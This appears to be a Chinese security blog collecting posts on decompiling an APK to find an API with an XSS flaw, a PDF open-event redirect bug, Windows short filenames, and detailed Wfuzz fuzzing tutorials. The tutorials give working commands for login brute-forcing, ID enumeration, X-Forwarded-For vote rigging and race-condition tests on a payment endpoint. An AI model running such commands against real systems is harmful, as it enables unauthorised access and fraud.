Chen's Blog

前言

想尝试逆向APK来发现一些接口和安全问题，但是Mac下没啥好用的APK逆向工具，于是我就参考文章：https://blog.csdn.net/jyygn163/article/details/71731786 的思路在Mac下使用homebrew安装：

brew install apktool brew install dex2jar

JD-GUI去http://jd.benow.ca/下载，这里我是用的是jar版。

过程 自动化编译

手动敲命令太繁琐了，写个shell脚本一键化。

在.bash_profile文件（环境变量）加入这个命令alias apkdec="/Users/chen/HackBox/Tools/Android\ Decompile/DeApkScript.sh"，这样当终端打开的时候就可以使用apkdec命令了，而脚本DeApkScript.sh的内容如下：

apktool d $1 && mv $1 $1.zip && unzip $1.zip "*.dex" -d $1_dex/ && cd $1_dex/ && d2j-dex2jar *.dex

功能实现如下：

• apktool获取资源文件
• 将apk文件重命名为zip文件
• 解压zip文件中的.dex文件
• 切换解压目录
• 将dex文件转换成jar文件

这样，最后只需要使用JD-GUI反编译JAR即可看见源码了。

实战

运行命令：

apkdec xxx.apk

首先对classes-dex2jar.jar文件进反编译，但似乎在Mac下JD-GUI支持的不太好，所以我选择使用luyten（Download：https://github.com/deathmarine/Luyten/releases），如下是两张对比图：

漏洞挖掘

在luyten下使用Command+G快捷键全局搜索，搜索域名寻找接口（因为这个APP需要内部人员才能登录所以从正常的入口是无法找到接口进行漏洞挖掘的）

寻找了一番看见这样一个接口：

二话不说访问之，提示：

{"res_code":"-1008003","res_message":"参数错误","timeMillis":1542516229723}

不懂Java的我一脸懵，但是天下语言都是互通的，大概的了解了代码的意思（可能理解的不到位，就不说出来误导了），于是找到这样一个函数：

从我的理解来看这个接口就是有这两个参数appId、userName，于是加入GET请求参数中请求：

Request: ?appId=123&userName=123 Response: {"res_code":"0","res_message":"成功","timeMillis":1542516495613,"extData":null,"data":[{"appId":"123","permissionTag":[""],"extData":null}]}

其中appId的参数值返回在了页面中，该请求响应报文Content-Type: text/html，所以尝试构建XSS，运气好，确实也存在XSS问题：

总结

学习、不断的学习。

浅析PDF事件导致的安全漏洞

最近ASRC的事情（PDF导致的URL跳转漏洞）闹的沸沸扬扬的，一开始没怎么去关注，后来想去玩一玩的时候发现作者没有给出比较好的说明来告诉大家如何玩、操作PDF的事件和漏洞原理。小白的我来探究一下。。

PDF事件添加

本人是macOS系统所以用不了迅捷PDF编辑器，后来尝试寻找各种适用于Mac平台的编辑器无果之后，还是向Adobe妥协，下载了破解版的Adobe Acrobat Pro DC 2018(也支持Windows)。

随便用Word文档导出了一个PDF，使用Acrobat打开，进行编辑，找了一会终于找到了页面属性设置的地方。

点击右侧的组织页面功能：

选择这一页点击更多->页面属性：

选择事件动作->触发器选择打开页面->选择动作打开网络链接->添加 输入地址：

设置成功：

漏洞测试

漏洞测试浏览器：谷歌浏览器 Chrome

漏洞测试GIF：

Why？

这个漏洞的局限性在于浏览器的不同，那么为什么会只存在于部分浏览器上呢？

内核？

一开始的猜想是与浏览器的内核有关，Chrome是基于Webkit的内核分支，而Safari也是基于这个的，但是经过测试发现发现Safari无法跳转。

结果：NO

插件？

之前了解过FireFox浏览器是使用pdf预览插件是Chrome的PDF Viewer，但是至今为止最新版都只是很久以前的版本了（火狐官方也进行了一些细微的修改）：

谷歌自己呢早就更新迭代了：

chrome-extension://mhjfbmdgcfjbbpaeojofohoefgiehjai/pdf_viewer.js

结果：很大概率和浏览器PDF预览插件有关，可能是谷歌在之后更新引入了对PDF事件的支持。

END

PoC下载：PoC.pdf

短文件名

最近看见一些漏洞利用到了短文件名回想到之前发现的漏洞，发现自己对短文件名的原理一无所知，现在来一探究竟。

什么是短文件名

windows下的文件短名是dos+fat12/fat16时代的产物，又称为8dot3命名法，类似于PROGRA~1（目录）或者元素周~1.exe（文件）这样的名称。 8是指文件名或目录名的主体部分小于等于8个字符 ; 3是指文件名或目录名的扩展部分小于等于3个字符 ;中间以 . 作为分割在FAT16文件系统中，由于FDT中的文件目录登记项只为文件名保留了8个字节，为扩展名保留了3个字节，所以DOS和Windows的用户为文件起名字时要受到8.3格式的限制。

查看Windows下的短文件名：

可以看见图中的123123~1.TXT，就是1231231231231231232.txt的短文件名表示。

为什么现在Windows系统还存在短文件名这种表示？

从win95开始，采用fat32已经支持长文件名，但是为了保持兼容性，保证低版本的程序能正确读取长文件名文件，每当创建新文件或新目录时，系统自动为所有长文件名文件创建了一个对应的短文件名。使这个文件既可以用长文件名寻址，也可以用短文件名寻址。

短文件名命名方式

知道了什么是短文件名，再看如上文所贴图，图中文件1231231231231231232.txt的短文件名就是123123~1.TXT

Windows短文件名8dot3命名规则：

• 符合DOS短文件名规则的Windows下的长文件名不变
• 长文件名中的空格，在短文件名中被删除
• 删除空格后的长文件名，若长度大于8个字符，则取前6个字符，后两个字符以~#代替，其中 # 为数字，数字根据前六个字符相同的文件名的个数顺延。若个数超过10个则取前5个字符，后三个字符以~##代替，其中 ## 为两位数字，若个数大于100也依此规则替换。
• 对使用多个.隔开的长文件名，取最左端一段转换为短文件名，取最右一段前三个字符为扩展名
• 如果存在老 OS 或程序无法读取的字符，用_替换

关闭短文件名

将Windows注册表（HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem）中的NtfsDisable8dot3NameCreation这一项的值设为 1

CMD实现关闭短文件名：

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem" /v NtfsDisable8dot3NameCreation /d 1 /t REG_DWORD /f

如果想开启（将值设为0）：

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem" /v NtfsDisable8dot3NameCreation /d 0 /t REG_DWORD /f

需要注意：即使关闭了短文件名功能，也不会删除原有创建过的短文件名

Wfuzz初上手

Author: Vulkey_Chen

Blog: gh0st.cn

Wfuzz是啥玩意？

wfuzz 是一款Python开发的Web安全模糊测试工具。https://github.com/xmendez/wfuzz

简单粗暴的功能特点记录：

1. 模块化 框架 可编写插件
2. 接口 可处理BurpSuite所抓的请求和响应报文

简而言之就是wfuzz可以用在做请求参数参数类的模糊测试，也可以用来做Web目录扫描等操作。

Wfuzz初体验

• 安装Wfuzz pip install wfuzz

简单的使用 wfuzz -w 字典 地址(e.g. https://gh0st.cn/FUZZ)

如上命令使用-w参数指定字典位置，然后跟上一个要测试的地址，所列的例子https://gh0st.cn/FUZZ中有一个FUZZ单词，这个单词可以理解是一个占位符，这样就大概了解了wfuzz的基本运行原理，它会读取字典然后传入占位符进行模糊测试请求。

实际的使用一遍：

wfuzz -w test_dict.txt https://gh0st.cn/FUZZ

返回结果如下：

******************************************************** * Wfuzz 2.2.11 - The Web Fuzzer * ******************************************************** Target: https://gh0st.cn/FUZZ Total requests: 6 ================================================================== ID Response Lines Word Chars Payload ================================================================== 000004: C=404 1 L 121 W 1636 Ch "test123" 000003: C=404 1 L 121 W 1636 Ch "456" 000006: C=404 1 L 121 W 1636 Ch "admin123" 000005: C=404 1 L 121 W 1636 Ch "admin" 000001: C=404 1 L 121 W 1636 Ch "abc" 000002: C=404 1 L 121 W 1636 Ch "123" Total time: 2.122055 Processed Requests: 6 Filtered Requests: 0 Requests/sec.: 2.827447

通过返回结果我们可以知道很多信息，最需要关注的就是ID、Response、 Lines、Word、Chars、Payload这一行，从左往右看，依次是编号、响应状态码、响应报文行数、响应报文字数、响应报文正字符数、测试使用的Payload。

了解Wfuzz

通过-h或者--help可以来获取帮助信息。

Wfuzz模块

如上所述说到wfuzz是模块化的框架，wfuzz默认自带很多模块，模块分为5种类型分别是：payloads、encoders、iterators、printers和scripts。

通过-e参数可以查看指定模块类型中的模块列表：

wfuzz -e payloads

payloads类的模块列表如下：

Available payloads: Name | Summary ------------------------------------------------------------------------------------------------------ guitab | This payload reads requests from a tab in the GUI dirwalk | Returns filename's recursively from a local directory. file | Returns each word from a file. burpstate | Returns fuzz results from a Burp state. wfuzzp | Returns fuzz results' URL from a previous stored wfuzz session. ipnet | Returns list of IP addresses of a network. bing | Returns URL results of a given bing API search (needs api key). stdin | Returns each item read from stdin. list | Returns each element of the given word list separated by -. hexrand | Returns random hex numbers from the given range. range | Returns each number of the given range. names | Returns possible usernames by mixing the given words, separated by -, using know | n typical constructions. hexrange | Returns each hex number of the given hex range. permutation | Returns permutations of the given charset and length. buffer_overflow | Returns a string using the following pattern A * given number. iprange | Returns list of IP addresses of a given IP range. burplog | Returns fuzz results from a Burp log. autorize | Returns fuzz results' from autororize. Wfuzz使用

从上文知道了wfuzz基于一个非常简单的概念：使用payload来替换相应的FUZZ关键词的位置，FUZZ这样的关键词就是占位符，payload就是输入源。

通过wfuzz -e payloads可以获取payloads类的所有模块列表，使用wfuzz -z help可以获取关于payloads类模块的详细信息，也可以通过--slice参数来过滤返回信息的结果。

e.g. wfuzz -z help --slice "names"

Name: names 0.1 Categories: default Summary: Returns possible usernames by mixing the given words, separated by -, using known typical constructions. Author: Christian Martorella,Adapted to newer versions Xavi Mendez (@xmendez) Description: ie. jon-smith Parameters: + name: Name and surname in the form of name-surname. 使用（字典）

注：命令中的wordlist表示为字典位置

1. wfuzz -z file --zP fn=wordlist URL/FUZZ

2. wfuzz -z file,wordlist URL/FUZZ

3. wfuzz -w wordlist URL/FUZZ

这里有必要说明下，使用命令意义是一样的，都是使用payloads模块类中的file模块，通过wfuzz -z help --slice "file"看如何使用file模块：

Name: file 0.1 Categories: default Summary: Returns each word from a file. Author: Carlos del Ojo,Christian Martorella,Adapted to newer versions Xavi Mendez (@xmendez) Description: Returns the contents of a dictionary file line by line. Parameters: + fn: Filename of a valid dictionary

通过返回的帮助信息，我们知道这个模块需要一个参数fn，这个参数值为字典文件名（绝对路径）。这样子第一条命令一下子就明白了，wfuzz -z file --zP fn=wordlist URL/FUZZ中的-z file使用模块，--zP fn=wordlist是定义fn参数的值（可以这样理解，–zP 这里的P大写代表 Parameters ，然后其他的都是固有个事）

第二条命令简写了第一条命令的赋值，第三条命令使用-w，这个参数就是-z file --zP fn的别名。

多个字典

使用-z 或-w 参数可以同时指定多个字典，这时相应的占位符应设置为 FUZZ,FUZ2Z,FUZ3Z,….,FUZnZ, 其中n代表了占位序号。

例如想要同时爆破目录、文件名、后缀，可以这样来玩：

wfuzz -w 目录字典路径 -w 文件名字典路径 -w 后缀名字典路径 URL/FUZZ/FUZ2Z.FUZ3Z

过滤器

wfuzz具有过滤器功能，在做测试的过程中会因为环境的问题需要进行过滤，例如在做目录扫描的时候，你事先探测并知道了这个网站访问不存在目录的时候使用的是自定义404页面（也就是状态码为200），而你可以选择提取该自定义页面的特征来过滤这些返回结果。

wfuzz过滤分为两种方法：隐藏符合过滤条件的结果 和 显示符合过滤条件的结果

隐藏响应结果

通过--hc，--hl，--hw，--hh参数可以隐藏某些HTTP响应。

• --hc 根据响应报文状态码进行隐藏（hide code）

隐藏404：

wfuzz -w wordlist --hc 404 URL/FUZZ

隐藏404、403：

wfuzz -w wordlist --hc 404,403 URL/FUZZ

e.g. 使用百度举个例子，运行wfuzz -w test_dict.txt https://www.baidu.com/FUZZ结果如下

这里所有的测试请求，都是不存在的页面，那么百度的404页面规则就是如上图结果所示：响应报文状态码（302）、响应报文行数（7）、响应报文字数（18）、响应报文字符数（222），那么下面的就是填空题了～

• --hl根据响应报文行数进行隐藏（hide lines）

wfuzz -w wordlist --hl 7 https://www.baidu.com/FUZZ

• --hw根据响应报文字数进行隐藏（hide word）

wfuzz -w wordlist --hw 18 https://www.baidu.com/FUZZ

• --hh根据响应报文字符数进行隐藏（hide chars 这里因为code和chars首字母都是c，–hc参数已经有了，所以hide chars的参数就变成了–hh）

wfuzz -w wordlist --hh 222 https://www.baidu.com/FUZZ

如果根据单个条件判断相对来说肯定是不精确的，所以整合一下就是这样的命令：

wfuzz -w wordlist --hc 302 --hl 7 --hw 18 --hh 222 https://www.baidu.com/FUZZ

这样就可以对https://www.baidu.com/进行目录扫描咯～

显示响应结果

显示响应结果的使用方法跟隐藏时的原理一样，只不过参数变为了：--sc（show code），--sl（show lines），--sw（show word），--sh （show chars）。

使用Baseline(基准线)

过滤器可以是某个HTTP响应的引用，这样的引用我们称为Baseline。

之前的使用--hh进行过滤的例子中，还可以使用下面的命令代替：

wfuzz -w wordlist --hh BBB https://www.baidu.com/FUZZ{404there}

这条命令的意思应该很容易理解，首先要清楚基准线是什么？换个名字：标准线 or 及格线。

首先解释下https://www.baidu.com/FUZZ{404there}的意思，这里代表wfuzz第一个请求是请求https://www.baidu.com/404there这个网址，在{ }内的值用来指定wfuzz第一个请求中的FUZZ占位符，而这第一个请求被标记为BBB（BBB不能换成别的）基准线；其次这里使用的参数是--hh，也就是以BBB这条请求中的Chars为基准，其他请求的Chars值与BBB相同则隐藏。

使用正则表达式过滤

wfuzz参数--ss和--hs可以使用正则表达式来对返回的结果过滤。

e.g. 在这里一个网站自定义返回页面的内容中包含Not Found，想根据这个内容进行过滤可以使用如下的命令：

wfuzz -w wordlist --hs "Not Found" http://127.0.0.1/FUZZ

得出结论使用方法：

wfuzz -w wordlist --hs 正则表达式 URL/FUZZ #隐藏 wfuzz -w wordlist --ss 正则表达式 URL/FUZZ #显示 手册

原文来自：DigApis安全 m0nst3r

模块种类 payload

payload为wfuzz生成的用于测试的特定字符串，一般情况下，会替代被测试URL中的FUZZ占位符。 当前版本中的wfuzz中可用payloads列表如下：

Available payloads: Name | Summary ------------------------------------------------------------------------------------------------------ guitab | 从可视化的标签栏中读取请求 dirwalk | 递归获得本地某个文件夹中的文件名 file | 获取一个文件当中的每个词 autorize | 获取autorize的测试结果Returns fuzz results' from autororize. wfuzzp | 从之前保存的wfuzz会话中获取测试结果的URL ipnet | 获得一个指定网络的IP地址列表 bing | 获得一个使用bing API搜索的URL列表 (需要 api key). stdin | 获得从标准输入中的条目 list | 获得一个列表中的每一个元素，列表用以 - 符号分格 hexrand | 从一个指定的范围中随机获取一个hex值 range | 获得指定范围内的每一个数值 names | 从一个以 - 分隔的列表中，获取以组合方式生成的所有usernames值 burplog | 从BurpSuite的记录中获得测试结果 permutation | 获得一个在指定charset和length时的字符组合 buffer_overflow | 获得一个包含指定个数个A的字符串. hexrange | 获得指定范围内的每一个hex值 iprange | 获得指定IP范围内的IP地址列表 burpstate | 从BurpSuite的状态下获得测试结果 encoder

encoder的作用是将payload进行编码或加密。 wfuzz的encoder列表如下：

Available encoders: Category | Name | Summary ------------------------------------------------------------------------------------------------------------------------ url_safe, url | urlencode | 用`%xx`的方式替换特殊字符， 字母/数字/下划线/半角点/减号不替换 url_safe, url | double urlencode | 用`%25xx`的方式替换特殊字符， 字母/数字/下划线/半角点/减号不替换 url | uri_double_hex | 用`%25xx`的方式将所有字符进行编码 html | html_escape | 将`&`，`<`，`>`转换为HTML安全的字符 html | html_hexadecimal | 用 `&#xx;` 的方式替换所有字符 hashes | base64 | 将给定的字符串中的所有字符进行base64编码 url | doble_nibble_hex | 将所有字符以`%%dd%dd`格式进行编码 db | mssql_char | 将所有字符转换为MsSQL语法的`char(xx)`形式 url | utf8 | 将所有字符以`\u00xx` 格式进行编码 hashes | md5 | 将给定的字符串进行md5加密 default | random_upper | 将字符串中随机字符变为大写 url | first_nibble_hex | 将所有字符以`%%dd?` 格式进行编码 default | hexlify | 每个数据的单个比特转换为两个比特表示的hex表示 url | second_nibble_hex | 将所有字符以`%?%dd` 格式进行编码 url | uri_hex | 将所有字符以`%xx` 格式进行编码 default | none | 不进行任何编码 hashes | sha1 | 将字符串进行sha1加密 url | utf8_binary | 将字符串中的所有字符以 `\uxx` 形式进行编码 url | uri_triple_hex | 将所有字符以`%25%xx%xx` 格式进行编码 url | uri_unicode | 将所有字符以`%u00xx` 格式进行编码 html | html_decimal | 将所有字符以 `&#dd; ` 格式进行编码 db | oracle_char | 将所有字符转换为Oracle语法的`chr(xx)`形式 db | mysql_char | 将所有字符转换为MySQL语法的`char(xx)`形式 iterator

wfuzz的iterator提供了针对多个payload的处理方式。 itorators的列表如下：

Available iterators: Name | Summary ---------------------------------------------------------------------------------------------- product | Returns an iterator cartesian product of input iterables. zip | Returns an iterator that aggregates elements from each of the iterables. chain | Returns an iterator returns elements from the first iterable until it is exhaust | ed, then proceeds to the next iterable, until all of the iterables are exhausted | . printer

wfuzz的printers用于控制输出打印。 printers列表如下：

Available printers: Name | Summary -------------------------------------------------- raw | `Raw` output format json | Results in `json` format csv | `CSV` printer ftw magictree | Prints results in `magictree` format html | Prints results in `html` format scripts

scripts列表如下：

Available scripts: Category | Name | Summary ---------------------------------------------------------------------------------------------------- default, passive | cookies | 查找新的cookies default, passive | errors | 查找错误信息 passive | grep | HTTP response grep active | screenshot | 用linux cutycapt tool 进行屏幕抓取 default, active, discovery | links | 解析HTML并查找新的内容 default, active, discovery | wc_extractor | 解析subversion的wc.db文件 default, passive | listing | 查找列目录漏洞 default, passive | title | 解析HTML页面的title default, active, discovery | robots | 解析robots.txt文件来查找新内容 default, passive | headers | 查找服务器的返回头 default, active, discovery | cvs_extractor | 解析 CVS/Entries 文件 default, active, discovery | svn_extractor | 解析 .svn/entries 文件 active, discovery | backups | 查找已知的备份文件名 default, active, discovery | sitemap | 解析 sitemap.xml 文件 内置工具 wfencode 工具

这是wfuzz自带的一个加密/解密（编码/反编码）工具，目前支持内建的encoders的加/解密。

wfencode -e base64 123456 [RES] MTIzNDU2 wfencode -d base64 MTIzNDU2 [RES] 123456 wfpayload工具

wfpayload是payload生成工具

wfpayload -z range,0-10 [RES] 0 1 2 3 4 5 6 7 8 9 10 wxfuzz 工具

这个看源码是一个wxPython化的wfuzz，也就是GUI图形界面的wfuzz。目前需要wxPython最新版本才能使用，但是在ParrotOS和Kali上都无法正常安装成功，问题已在GitHub提交Issue，期待开发者的回复中…

wfuzz命令中文帮助 Usage: wfuzz [options] -z payload,params <url> FUZZ, ..., FUZnZ payload占位符，wfuzz会用指定的payload代替相应的占位符，n代表数字. FUZZ{baseline_value} FUZZ 会被 baseline_value替换，并将此作为测试过程中第一个请求来测试，可用来作为过滤的一个基础。 Options: -h/--help : 帮助文档 --help : 高级帮助文档 --version : Wfuzz详细版本信息 -e <type> : 显示可用的encoders/payloads/iterators/printers/scripts列表 --recipe <filename> : 从文件中读取参数 --dump-recipe <filename> : 打印当前的参数并保存成文档 --oF <filename> : 将测试结果保存到文件，这些结果可被wfuzz payload 处理 -c : 彩色化输出 -v : 详细输出 -f filename,printer : 将结果以printer的方式保存到filename (默认为raw printer). -o printer : 输出特定printer的输出结果 --interact : (测试功能) 如果启用，所有的按键将会被捕获，这使得你能够与程序交互 --dry-run : 打印测试结果，而并不发送HTTP请求 --prev : 打印之前的HTTP请求（仅当使用payloads来生成测试结果时使用） -p addr : 使用代理，格式 ip:port:type. 可设置多个代理，type可取的值为SOCKS4,SOCKS5 or HTTP（默认） -t N : 指定连接的并发数，默认为10 -s N : 指定请求的间隔时间，默认为0 -R depth : 递归路径探测，depth指定最大递归数量 -L,--follow : 跟随HTTP重定向 -Z : 扫描模式 (连接错误将被忽视). --req-delay N : 设置发送请求允许的最大时间，默认为 90，单位为秒. --conn-delay N : 设置连接等待的最大时间，默认为 90，单位为秒. -A : 是 --script=default -v -c 的简写 --script= : 与 --script=default 等价 --script=<plugins> : 进行脚本扫描， <plugins> 是一个以逗号分开的插件或插件分类列表 --script-help=<plugins> : 显示脚本的帮助 --script-args n1=v1,... : 给脚本传递参数. ie. --script-args grep.regex="<A href=\"(.*?)\">" -u url : 指定请求的URL -m iterator : 指定一个处理payloads的迭代器 (默认为product) -z payload : 为每一个占位符指定一个payload，格式为 name[,parameter][,encoder]. 编码可以是一个列表, 如 md5-sha1. 还可以串联起来, 如. md5@sha1. 还可使用编码各类名，如 url 使用help作为payload来显示payload的详细帮助信息，还可使用--slice进行过滤 --zP <params> : 给指定的payload设置参数。必须跟在 -z 或-w 参数后面 --slice <filter> : 以指定的表达式过滤payload的信息，必须跟在-z 参数后面 -w wordlist : 指定一个wordlist文件，等同于 -z file,wordlist -V alltype : 暴力测试所有GET/POST参数，无需指定占位符 -X method : 指定一个发送请求的HTTP方法，如HEAD或FUZZ -b cookie : 指定请求的cookie参数，可指定多个cookie -d postdata : 设置用于测试的POST data (ex: "id=FUZZ&catalogue=1") -H header : 设置用于测试请求的HEADER (ex:"Cookie:id=1312321&user=FUZZ"). 可指定多个HEADER. --basic/ntlm/digest auth : 格式为 "user:pass" or "FUZZ:FUZZ" or "domain\FUZ2Z:FUZZ" --hc/hl/hw/hh N[,N]+ : 以指定的返回码/行数/字数/字符数作为判断条件隐藏返回结果 (用 BBB 来接收 baseline) --sc/sl/sw/sh N[,N]+ : 以指定的返回码/行数/字数/字符数作为判断条件显示返回结果 (用 BBB 来接收 baseline) --ss/hs regex : 显示或隐藏返回结果中符合指定正则表达式的返回结果 --filter <filter> : 显示或隐藏符合指定filter表达式的返回结果 (用 BBB 来接收 baseline) --prefilter <filter> : 用指定的filter表达式在测试之前过滤某些测试条目

Wfuzz基本功

Author: Vulkey_Chen

Blog: gh0st.cn

爆破文件、目录

wfuzz本身自带字典：

. ├── Injections │   ├── All_attack.txt │   ├── SQL.txt │   ├── Traversal.txt │   ├── XML.txt │   ├── XSS.txt │   └── bad_chars.txt ├── general │   ├── admin-panels.txt │   ├── big.txt │   ├── catala.txt │   ├── common.txt │   ├── euskera.txt │   ├── extensions_common.txt │   ├── http_methods.txt │   ├── medium.txt │   ├── megabeast.txt │   ├── mutations_common.txt │   ├── spanish.txt │   └── test.txt ├── others │   ├── common_pass.txt │   └── names.txt ├── stress │   ├── alphanum_case.txt │   ├── alphanum_case_extra.txt │   ├── char.txt │   ├── doble_uri_hex.txt │   ├── test_ext.txt │   └── uri_hex.txt ├── vulns │   ├── apache.txt │   ├── cgis.txt │   ├── coldfusion.txt │   ├── dirTraversal-nix.txt │   ├── dirTraversal-win.txt │   ├── dirTraversal.txt │   ├── domino.txt │   ├── fatwire.txt │   ├── fatwire_pagenames.txt │   ├── frontpage.txt │   ├── iis.txt │   ├── iplanet.txt │   ├── jrun.txt │   ├── netware.txt │   ├── oracle9i.txt │   ├── sharepoint.txt │   ├── sql_inj.txt │   ├── sunas.txt │   ├── tests.txt │   ├── tomcat.txt │   ├── vignette.txt │   ├── weblogic.txt │   └── websphere.txt └── webservices ├── ws-dirs.txt └── ws-files.txt

但相对FuzzDB和SecLists来说还是不够全面不够强大的，当然如果有自己的字典列表最好～

Wfuzz爆破文件：

wfuzz -w wordlist URL/FUZZ.php

Wfuzz爆破目录：

wfuzz -w wordlist URL/FUZZ 遍历枚举参数值

e.g. 假如你发现了一个未授权漏洞，地址为：http://127.0.0.1/getuser.php?uid=123 可获取uid为123的个人信息

uid参数可以遍历，已知123为三位数纯数字，需要从000-999进行遍历，也可以使用wfuzz来完成：

wfuzz -z range,000-999 http://127.0.0.1/getuser.php?uid=FUZZ

使用payloads模块类中的range模块进行生成。

POST请求测试

e.g. 发现一个登录框，没有验证码，想爆破弱口令账户。

请求地址为：http://127.0.0.1/login.php

POST请求正文为：username=&password=

使用wfuzz测试：

wfuzz -w userList -w pwdList -d "username=FUZZ&password=FUZ2Z" http://127.0.0.1/login.php

-d参数传输POST请求正文。

Cookie测试

上文 遍历枚举参数值 中说到有未授权漏洞，假设这个漏洞是越权漏洞，要做测试的肯定需要让wfuzz知道你的Cookie才能做测试。

如下命令即可携带上Cookie：

wfuzz -z range,000-999 -b session=session -b cookie=cookie http://127.0.0.1/getuser.php?uid=FUZZ

-b参数指定Cookie，多个Cookie需要指定多次，也可以对Cookie进行测试，仍然使用FUZZ占位符即可。

HTTP Headers测试

e.g. 发现一个刷票的漏洞，这个漏洞需要伪造XFF头（IP）可达到刷票的效果，投票的请求为GET类型，地址为：http://127.0.0.1/get.php?userid=666。

那么现在我想给userid为666的朋友刷票，可以使用wfuzz完成这类操作：

wfuzz -z range,0000-9999 -H "X-Forwarded-For: FUZZ" http://127.0.0.1/get.php?userid=666

-H指定HTTP头，多个需要指定多次（同Cookie的-b参数）。

测试HTTP请求方法（Method）

e.g. 想测试一个网站(http://127.0.0.1/)支持哪些HTTP请求方法

使用wfuzz：

wfuzz -z list,"GET-POST-HEAD-PUT" -X FUZZ http://127.0.0.1/

这条命了中多了 -z list 和 -X 参数，-z list可以自定义一个字典列表（在命令中体现），以-分割；-X参数是指定HTTP请求方法类型，因为这里要测试HTTP请求方法，后面的值为FUZZ占位符。

使用代理

做测试的时候想使用代理可以使用如下命令：

wfuzz -w wordlist -p proxtHost:proxyPort:TYPE URL/FUZZ

-p参数指定主机:端口:代理类型，例如我想使用ssr的，可以使用如下命令：

wfuzz -w wordlist -p 127.0.0.1:1087:SOCKS5 URL/FUZZ

多个代理可使用多个-p参数同时指定，wfuzz每次请求都会选取不同的代理进行。

认证

想要测试一个需要HTTP Basic Auth保护的内容可使用如下命令：

wfuzz -z list,"username-password" --basic FUZZ:FUZZ URL

wfuzz可以通过--basec --ntml --digest来设置认证头，使用方法都一样：

--basec/ntml/digest username:password

递归测试

使用-R参数可以指定一个payload被递归的深度(数字)。例如：爆破目录时，我们想使用相同的payload对已发现的目录进行测试，可以使用如下命令：

wfuzz -z list,"admin-login.php-test-dorabox" -R 1 http://127.0.0.1/FUZZ

如上命令就是使用了自定义字典列表：

admin login.php test dorabox

递归深度为1也就是说当发现某一个目录存在的时候，在存在目录下再递归一次字典。

并发和间隔

wfuzz提供了一些参数可以用来调节HTTP请求的线程

e.g. 你想测试一个网站的转账请求是否存在HTTP并发漏洞（条件竞争）

请求地址：http://127.0.0.1/dorabox/race_condition/pay.php

POST请求正文：money=1

使用如下命令：

wfuzz -z range,0-20 -t 20 -d "money=1" http://127.0.0.1/dorabox/race_condition/pay.php?FUZZ

测试并发要控制请求次数，在这里为使用range模块生成0-20，然后将FUZZ占位符放在URL的参数后不影响测试即可，主要是用-t参数设置并发请求，该参数默认设置都是10。

另外使用-s参数可以调节每次发送HTTP的时间间隔。

保存测试结果

wfuzz通过printers模块来将结果以不同格式保存到文档中，一共有如下几种格式：

raw | `Raw` output format json | Results in `json` format csv | `CSV` printer ftw magictree | Prints results in `magictree` format html | Prints results in `html` format

将结果以json格式输出到文件的命令如下：

$ wfuzz -f outfile,json -w wordlist URL/FUZZ

使用-f参数，指定值的格式为输出文件位置,输出格式。

Wfuzz高阶功法

Author: Vulkey_Chen

Blog: gh0st.cn

模块

之前两篇文章中已经记录过了payloads和printers模块，所以就不在这继续记录。

Iterators

BurpSuite的Intruder模块中Attack Type有Sniper(狙击手)、Battering ram(撞击物)、Pitchfork(相交叉)、Cluster bomb(集束炸弹)～

wfuzz也可以完成这样的功能，将不同的字典的组合起来，那就是Iterators模块。

使用参数-m 迭代器，wfuzz自带的迭代器有三个：zip、chain、product，如果不指定迭代器，默认为product迭代器。

zip

命令：

wfuzz -z range,0-9 -w dict.txt -m zip http://127.0.0.1/ip.php?FUZZ=FUZ2Z

结果如下：

该命令的意思：设置了两个字典。两个占位符，一个是range模块生成的0、1、2、3、4、5、6、7、8、9 10个数字，一个是外部字典dict.txt的9行字典，使用zip迭代器组合这两个字典发送。

zip迭代器的功能：字典数相同、一一对应进行组合，如果字典数不一致则多余的抛弃掉不请求，如上命令结果就是数字9被抛弃了因为没有字典和它组合。

chain

命令：

wfuzz -z range,0-9 -w dict.txt -m chain http://127.0.0.1/ip.php?FUZZ

结果如下：

该命令设置了两个字典，一个占位符FUZZ，使用chain迭代器组合这两个字典发送。

chain迭代器的功能：通过返回结果就能看出来chain迭代器的功能了，这个迭代器是将所有字典全部整合（不做组合）放在一起然后传入占位符FUZZ中。

product

命令：

wfuzz -z range,0-2 -w dict.txt -m product http://127.0.0.1/ip.php?FUZZ=FUZ2Z

结果如下：

该命令的意思：设置了两个字典，两个占位符，一个是range模块生成的0、1、2 3个数字，一个是外部字典dict.txt的3行字典，使用product迭代器组合这两个字典发送。

product迭代器的功能：通过返回结果，知道了请求总数为9，请求的payload交叉组合：

Encoders

wfuzz中encoders模块可以实现编码解码、加密，它支持如下图中所列转换功能：

使用Encoders

正常使用：

• wfuzz -z file --zP fn=wordlist,encoder=md5 URL/FUZZ

  看过第一章的应该都能理解意思了，这里新增的就是encoder=md5，也就是使用Encoders的md5加密。

• wfuzz -z file,wordlist,md5 URL/FUZZ

  这里简写了第一条命令，一般都使用这条命令来调用Encoders

使用多个Encoder：

• 多个转换，使用一个-号分隔的列表来指定

  wfuzz -z file,dict.txt,md5-base64 http://127.0.0.1/ip.php\?FUZZ

• 多次转换，使用一个@号分隔的列表来按照从右往左顺序多次转换（这里让传入的字典先md5加密然后base64编码）

  wfuzz -z file,dict.txt,base64@md5 http://127.0.0.1/ip.php\?FUZZ

Scripts

之前说了wfuzz支持插件，其本身也有很多插件，插件大部分都是实现扫描和解析功能，插件共有两大类和一类附加插件：

• passive：分析已有的请求和响应（被动）

• active：会向目标发送请求来探测（主动）

• discovery：自动帮助wfuzz对目标站进行爬取，将发现的内容提供给wfuzz进行请求

Wfuzz默认自带脚本如下：

使用Scripts

我想使用Scripts中的backups模块，可以先试用--script-help参数来看如何关于这个模块的信息：

wfuzz --script-help=robots

从如上结果中可以知道这个模块不需要设置参数，该模块解析robots.txt的并且寻找新的内容，，至于到底寻找什么，就需要动手实践下了～

在本地建一个robots.txt：

使用如下命令：

wfuzz --script=robots -z list,"robots.txt" http://127.0.0.1/FUZZ

--script是使用脚本模块的参数，这时候就有个疑惑命令为什么要加上list呢？因为在这里robots脚本只是解析robots.txt规则的，所以你需要告诉wfuzz去请求哪个文件而这里我写的就是robots.txt就可以解析（假设 http://127.0.0.1/t.txt 的内容也是robots的就可以写成这样的命令wfuzz --script=robots -z list,"t.txt" http://127.0.0.1/FUZZ ）

从如上图中得知wfuzz解析robots.txt的内容然后请求解析之后获得的路径。

自定义插件

